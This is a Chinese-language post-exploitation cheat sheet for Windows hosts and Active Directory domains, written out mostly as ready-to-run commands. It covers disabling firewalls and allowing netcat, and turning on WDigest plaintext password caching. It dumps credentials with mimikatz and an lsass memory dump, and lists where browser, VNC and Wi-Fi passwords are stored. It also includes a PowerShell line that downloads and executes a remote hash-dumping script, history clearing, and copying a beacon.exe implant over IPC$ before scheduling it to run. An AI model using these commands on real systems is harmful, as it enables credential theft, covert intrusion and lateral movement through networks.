0x00 分析入口机器

提权完成后,尽可能多的收集此机器上的各种信息。

  • 当前机器的角色
  • 当前机器所在网络的拓扑结构
  • 当前机器的网络位置/区域

0x01 收集基础信息


Main

ip、进程、端口、服务、共享、软件、补丁、wifi、rdp、

------------------系统---------------------
set												# 查看环境变量
wmic bios									# 查看bios信息
fsutil fsinfo drives			# 查看盘符
systeminfo								# 系统版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" /C:"OS Name" /C:"OS Version"
 
------------------ip与网段---------------------
ping -a ip									# ip反查主机名
netstat -A ip								# 同上
ipconfig /all 							#查看ip详细信息,关注是否多网卡、IP、DNS
ipconfig /displaydns  			#查看DNS缓存
route print 								#查看路由
arp -a 											#查看arp缓存表
net view 										#查询机器列表
type C:\Windows\System32\drivers\etc\hosts 				#查看hosts⽂件
 
---------------端口--------------------
netstat -ano 											#查看端⼝开放情况
netstat -ano|findstr 80						#查看80端⼝对应的PID
 
---------------服务--------------------
wmic service list brief						# 查看安装的所有服务信息
net start													# 已启动的服务
 
---------------共享--------------------
wmic share get name,path,status 	# 查看共享信息
net use 													# 查看已建立的连接
net share 												# 查看共享
net session 											# 查看会话
net view \ip 											# 查询指定IP共享
 
---------------开机自启动程序--------------------
wmic startup get command,caption
 
---------------安装的程序--------------------
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
 
---------------计划任务--------------------
schtasks /query /fo LIST /v > ed1dassc.txt
 
---------------补丁信息(提权)--------------------
wmic qfe get Caption,Description,HotFixID,InstalledOn
systeminfo
 
---------------进程列表(免杀)--------------------
wmic process list brief						#当前进程列表
tasklist													#当前进程列表
tasklist /svc 										#查看进程、pid、服务
taskkill /f /t /im xx.exe 				#杀死xx.exe进程
taskkill /F -pid 520 							#杀死pid为520的进程
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
 
---------------查询IE浏览器的代理信息--------------------
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
 
---------------cmd、powershell(v3以下)当前窗口的历史命令--------------------
Get-History | Format-List -Property * 			# 查询 powershell 当前窗⼝历史操作记录
Clear-History 															# 删除 powershell 当前窗⼝历史操作记录
Clear-History -Id 3 												# 删除 指定 ID 的历史操作记录
doskey /h 																	# 查看 cmd 的历史操作记录
doskey /reinstall 													# 删除 cmd 的历史操作记录
 
# powershell v3、v4 版本需要安装Get-PSReadlineOption
msiexec /q /i PackageManagement_x64.msi
 
# 查看 powershellv5 历史操作记录
type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
 
---------------杂七杂八--------------------

用户与组信息

---------------账户和密码信息------------------
whoami /all 											#查询当前⽤户权限等
net user 													#只显示本机的⽤户,不显示域⽤户
net user <xx> 										#查看⽤户xx的具体信息
wmic useraccount get			 								#查看本机用户 或 域内所有账户
wmic useraccount get Caption,LocalAccount,Disabled	#
 
net localgroup 										#查看本地组
net localgroup administrators 		#查看本地组administrators管理员组。除了显示本机中⽤户,还会显示域⽤户(前提是该域⽤户在本机的Administrators组内)
 
query user 或 quser 							 #查询当前在线⽤户
qwinsta 													#查询当前在线⽤户
qwinsta /SERVER:IP 								#查看远程登录情况
query session 										#查询会话
query termserver 									#查询远程桌⾯主机列表
net accounts 											#查看本地密码策略

RDP 服务开关

---------------远程桌面服务--------------------
#查端口 0xd3d > 3389
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
 
#是否开启了rdp服务:0x1关闭,0x0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
 
#2003开启远程桌面
wmic PATH win32_terminalservicesetting WHERE (_Class!="") CALL SetAllowTSConnections 1
 
#2008、2012开启远程桌面
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

防火墙开关 & 策略配置

---------------防火墙开关 & 策略配置--------------------
netsh firewall show config												#查看防火墙配置
 
#2003之前操作
netsh firewall set opmode disable																#关闭防火墙
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable		#允许nc的全部链接
 
#2003之后操作
netsh advfirewall set allprofiles state off 			#关闭防火墙
netsh advfirewall set publicprofile state off			#关闭防火墙,??
 
##允许nc的入站、出站、TCP3389进站连接
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
 
##自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
  • 自动化收集脚本:Empire、VBS 脚本
  • 判断是否在域中

0x02 收集敏感信息

抓 Win 密码和 hash

# win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,需要修改注册表重启后才能。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
 
# 简单抓密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
 
# 转储lsass.exe成dmp文件,再使用mimikatz本地读取(规避)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
 
# powershell远程加载
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes
 
# 转储SAM文件,再使用secretsdump.py本地读取(规避)
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

win 日志 - RDP 登录痕迹

内网使用 RDP 的机器大概率是运维或高权限机器,可筛选 LogonType 为 10 的 Win 日志,定位 ip,然后 ping -a <ip>

wevtutil qe /?
wevtutil qe Security /c: 3 /rd: true /f:text			# 3条、最近的、txt格式,/q xpath语法
wevtutil qe security /q:"*[EventData[Data[@Name='LogonType']='10'] and System[(EventID=4624)]]" /f:text /rd:true /c:10

浏览器

**一把梭:**HackBrowserData https://Github.com/moonD4rk/HackBrowserData

Chrome

#用户数据目录			%LOCALAPPDATA%\Google\Chrome\User Data\Default\
#缓存目录					%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\
#书签							%LOCALAPPDATA%\Google\Chrome\User Data\Default\Bookmarks
#Cookie						%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
#浏览历史					%LOCALAPPDATA%\Google\Chrome\User Data\Default\History
#当前的session 	 %LOCALAPPDATA%\Google\Chrome\User Data\Default\Current Session
#账户密码					%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
									%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Login Data

QQ 浏览器

⽤户数据⽬录		%LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default
缓存⽬录			  %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\
书签					 %LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\Bookmarks
Cookie				 %LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\Cookies
浏览历史 			 %LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\History
当前的session  %LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\Current Session
账号密码  		 %LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\Login Data
 							%LOCALAPPDATA%\Tencent\QQBrowser\User Data\Default\xxxxxxxxxxx\6

360 浏览器

账号密码⽂件 %APPDATA%\360se6\User Data\Default\apps\LoginAssis\assis2.db

firefox

账号密码⽂件	%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json

IE/Edge

书签⽂件 		%USERPROFILE%\Favorites\xx.url

远程管理工具

数据库管理工具、远程登录

MySQL 	HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name>
MSSQL	  HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name>
Oracle 	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name>
SQLite 	HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name>

SecurtCRT

xp/win2003 			C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 %APPDATA%\VanDyke\Config\Sessions

XShell

Xshell 5 		%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 		%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

VNC

RealVNC 	HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver 		Password
TightVNC 	HKEY_CURRENT_USER\Software\TightVNC\Server Value 	Password or PasswordViewOnly
TigerVNC	HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 				Password
UltraVNC 	C:\Program Files\UltraVNC\ultravnc.ini 						passwd or passwd2

VPN

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

Wifi 账号密码

查看帮助							 	  netsh wlan help
列出⽆线接			 					 netsh wlan show interface
开启⽆线接			 					 netsh interface set interface "Interface Name" enabled
显示连接过的WIFI的配置⽂件	netsh wlan show profiles
连接指定wifi							netsh wlan connect name=xxxx
断开连接									netsh wlan disconnect
 
查看连接过的WIFI的配置⽂件(包含账号密码),需要管理员权限执⾏,然后使⽤type命令查看配置⽂件
netsh wlan export profile interface=WLAN key=clear folder=C:\
type C:\xxx.xml
 
批量显示wifi账号密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
 
其它常⽤的命令:
   导出配置⽂件:netsh wlan export profile key=clear
   删除配置⽂件:netsh wlan delete profile name=""
   添加配置⽂件:netsh wlan add profile filename=""

0x03 域信息收集

判断是否在域中

本地普通用户:只能查询本机信息

本地管理员用户:可以查域内信息。提升 Ntauthority 或 System 权限后作为域内的机器账户进行认证。

域用户:可以查域内信息。使用 kerberos 协议自动认证。

  • 本地普通用户:本机计算机名\john
  • 本地管理员用户:本机计算机名\administrator
  • 域用户:域名\user01

几种判断方式

---------------利用计算机名和用户名判断--------------------
echo %userdomain% & hostname && whoami		 # whoami 前的就是域名或主机名
set l																			 # 本机主机名、域控主机名
 
---------------利用DNS服务器一般也部署在DC上判断--------------------
ipconfig /all							# <主 DNS 后缀><DNS 后缀搜索列表> 就是域名
nslookup <主 DNS 后缀>		 # 得到域控ip
 
---------------利用时间服务器一般也部署在DC上判断--------------------
net time /domain
 
		发生系统错误	5						 			#存在域,但当前用户不是域用户
		\\XXX 的当前时间							 	 #存在域,且当前用户是域用户
		找不到域 WORKGROUP 的域控制器。	 #当前为工作组环境
 
---------------结果不为WORKGROUP则在域中--------------------
systeminfo | findstr 域:
net config workstation | findstr 工作站域

收集域内信息

查询域名、域策略、域信任关系、域计算机列表、域控、域管、域控

whoami /all				# 获取用户SID,SID去掉后四位就是计算机/域SID
sc showsid server	# 获取某服务的SID
 
---------------查看有几个域名--------------------
net view												//无参时:查看当前域或组内的其它计算机名称列表
net view /domain								//查看有几个域
 
net view /all \\<ip/hostname>						//带参数:查看远程计算机的文件共享列表,错误5
dir /Q \\<ip/hostname>\<共享名> 				 //查看某个共享名
type \\<ip/hostname>\<共享名>\<文件名>	//查看共享文件
copy .\backdoor.txt \\<ip/hostname>\<共享名>		//上传本地文件到目标共享
 
--------------获取域策略信息--------------------
nltest /domain_trusts						//获取域信任信息
net accounts /domain						//获取域密码策略
net group /domain               //查看所有域组名
 
--------------获取域计算机列表--------------------
net view /domain:GOD									//查看god域中的计算机列表
net group "domain computers" /domain  //查看所有域成员计算机列表
 
--------------定位域控--------------------
nltest /DCLIST:<域名>
nslookup -type=SRV _ldap._tcp
net time /domain																//一般时间服务器为主/备域控
net group "domain controllers" /domain          //通过域控组查询
netdom query pdc          											//查看所有域控的主机名,命令不可用。。
 
--------------查域管理员用户--------------------
net group "domain admins" /domain
net group "Enterprise Admins" /domain
 
--------------查询域用户--------------------
net localgroup administrators				//查看本地管理员组(因为Domain Admins组默认属于域内机器的本地管理员组)
net user /domain                    //查看域中所有的用户名,包括域管理
net user <用户名> /domain		  		 //查看指定用户的详细列表
wmic useraccount get /all					  //获取域用户的详细信息
dsquery							//域控管理工具
dsquery user				//查看域内用户
dsquery computer - 查找目录中的计算机
dsquery contact - 查找目录中的联系人
dsquery subnet - 查找目录中的子网
dsquery group - 查找目录中的组
dsquery ou - 查找目录中的组织单位
dsquery site - 查找目录中的站点
dsquery server - 查找目录中的域控制器
dsquery user - 查找目录中的用户
dsquery quota - 查找目录中的配额
dsquery partition - 查找目录中的分区
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象

域提权

通过日志定位:指本地机器的管理员日志,可以使用脚本或 Wevtutil 工具导出查看

通过会话/进程定位:指域内每台机器的登录会话,可以使用 netsess.exe、PowerView 等工具匿名查询。

域提权 - 定位域管理员

漏洞拿机器,然后抓域管明文或 hash?

PS: 当拿下边界服务器进行横向移动时,需要先知道当前域用户的登录位置、是否是其它系统的本地管理员、所属组、是否有权访问文件共享。

服务器加域后,系统会自动将 domain admins 组加到域成员服务器的 administrators 组,因此域管理员组的成员均可访问本地计算机,并具有管理员权限。

常用工具:psloggedon.exe、PVEFindADUser.exe、netsess.exe、hunter、NetView、PowerShell - PowerView

bloodyAD.py

查询域内信息的一款工具,主要用来修改账户属性、 新增机器账户,其它查询功能较为常规。

psloggedon.exe

net session 可以查看谁使用了本机资源,使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户。原理是:调用 NetSessionenum API 检查注册表 HKEY_USERS 项的 key 值来查询谁登陆过。

psloggedon.exe -										#
psloggedon.exe -l 									#仅显示本地登录
psloggedon.exe -x										#不显示登录时间
psloggedon.exe \\<计算机名>					 #列出指定计算机的登录信息
psloggedon.exe <用户名>							#指定用户名,在网络种搜索该用户登录的计算机。

PVEFindADUser.exe

PVEFindADUser 用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务器和计划任务的用户,该工具需要管理员权限。

netview.exe -h               										#帮助
netview.exe -f filename.txt  										#指定要提取主机列表的文件
netview.exe -e filename.txt  										#指定要排除的主机名的文件
netview.exe -o filename.txt  										#将所有输出重定向到指定的文件
netview.exe -d domain        指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
netview.exe -g group         指定搜索的组名。如果没有指定,则在Domain Admins组中搜索
netview.exe -c               对已找到的共享目录/文件的访问权限进行检查
netview.exe -i interval      枚举主机之间等待的秒数
netview.exe -j jitter        应用于间隔的抖动百分比(0.0-1.0

netview.exe

netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。

netview.exe -h               										#帮助
netview.exe -f filename.txt  										#指定要提取主机列表的文件
netview.exe -e filename.txt  										#指定要排除的主机名的文件
netview.exe -o filename.txt  										#将所有输出重定向到指定的文件
netview.exe -d domain        指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
netview.exe -g group         指定搜索的组名。如果没有指定,则在Domain Admins组中搜索
netview.exe -c               对已找到的共享目录/文件的访问权限进行检查
netview.exe -i interval      枚举主机之间等待的秒数
netview.exe -j jitter        应用于间隔的抖动百分比(0.0-1.0

Nmap - NSE 脚本

smb-enum-domains.nse 枚举域控,获取主机信息、用户、可使用密码策略的用户等

smb-enum-users.nse 扫描域控,获取更多的域用户信息

smb-enum-shares.nse 遍历远程主机的共享目录

smb-enum-processes.nse 对主机的系统进程进行遍历,目标主机运行着哪些软件

smb-enum-sessions.nse 获取域内主机的用户登陆会话,查看当前是否有用户登陆,且不需要管理员权限

smb-os-discovery.nse 收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间等信息

PowerView 脚本

域提权 - 定位域管进程

令牌窃取,以达到域权限提升的目的?

方法 1:会话/进程检查域管

定位域管会话,拿下机器,抓域管密码。

定位域管进程,拿下机器,令牌窃取。

# 单机查找
quser					# 查看当前机器会话,关注是否有域管账户,导lsass.exe快照,抓明文
tasklist /v		# 查看进程,关注进程启动用户,可能有域管,令牌窃取
- tasklist /v /fi "USERNAME eq 域名\域管名"
 
# 批量检查域管进程
## 先导一份域管名单
net group "Domain Admins" /domain						# 查域管
 
## 收集的待检查机器ip
ips.txt
 
## p73 for 循环批量导远程机器进程,然后用域管名单筛选。
tasklist /v /s <ip> /u <user> /p <passwd> 	# 核心命令,查看远程机器进程,???此处存疑,当前账户可以登其它机器,不就是域管?

方法 2:批量搜索域控上的域用户会话

定位域管会话,拿下机器,抓域管密码。

# 1、获取筛选信息
net group "Domain Controllers" /domain			# 查域控机器名
net group "Domain Admins" /domain						# 查域管
 
# 2、netsess.exe	收集所有活动域的会话列表,
返回活动会话的ip、域账户、会话时间、会话空闲时间
 
# 3、筛选得到域控上的域用户会话
p72 cmd for 命令

Get Domain Admins(GDA)批处理脚本一把锁

方法 3:批量搜索远程机器 NetBIOS

定位域管会话,某些版本 windows 允许用户通过 NetBIOS 查询已登录用户。

nbtstat -A <IP>
# p73 for循环

0x04 内网横向思路及如何跨网段

1、我是谁、我在哪、我的目标

2、信息收集

3、横向移动

探测域内存活主机

  • NetBIOS 探测:
  • ICMP 探测:for in
  • ARP 扫描:arp.exe、Empire - arpscan、Nishang - Invoke-ARPScan.ps1
  • TCP/UDP 端口扫描:nmap、masscan、telnet、MSF - portscan 模块、Nishang - Invoke-PortScan.ps1、PowerSploit - Invoke-portscan.ps1

ICMP 探测

  • for in
for /l  %i  in (1,1,255) do @  ping  172.16.1.%i  -w  1  -n  1 |  find  /i  "ttl="
  • vbs 脚本

cscript 1.vbs

p51

ARP 扫描

动静是否会太大。

TCP/UDP 端口扫描

找网段

网络协议/DNS

DNS 区域传输漏洞

**DNS 区域传送(DNS zone transfer)**是指一台备用 DNS 服务器使用来自主 DNS 服务器的数据刷新自己的域(zone)数据库,从而避免主 DNS 服务器因意外故障影响到整个域名解析服务。

DNS 区域传送方式:axfr:完全区域传送、ixfr:增量区域传送

DNS 区域传输漏洞:一般来说 DNS 区域传送只在主备 DNS 服务器间使用,但由于主服务器错误配置,导致任意用户发起请求后可获得一个 zone 数据库的详细信息。

修复方式:添加 allow-transfer,配置 ip 白名单

利用 #网络工具/nslookup Nmap

nslookup
ls <完整域名>
nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=域名" -Pn -p 53 192.168.101.152

远程连接

建立IPC连接命令:
net use \\191.168.52.136\ipc$ "password" /user:"Administrator"
 
断开连接:
net use \\x.x.x.x\ipc$ /del
 
查看连接是否建立:
net use
 
测试连接:
dir \\191.168.52.136\c$
 
拷贝木马:
copy beacon.exe \\191.168.52.136\c$
 
创建计划任务(at<2012、schtasks>=2012):
at \\191.168.52.136 15:47 c:\beacon.exe

主机名

端口 - 重点关注的组件

数据库凭据:抓 navicat 凭据、弱口令

web 应用 - 重点

OA:通达、泛微、帆软

邮箱:coremail

shiro、solr、WebLogic

集权系统

VCenter

ESXI

天擎服务端

深信服 EDR

堡垒机

主机漏洞

135 Wmihacker、ShareWmi

445 CS - psexec、MSF - exploit/windows/smb/、IPC] 连接、Impacket 工具包(psexec、smbexec、wmiexec)

3389 RDP CVE-2019-0708

5985 WinRM

CS 4.1

毒液 Venom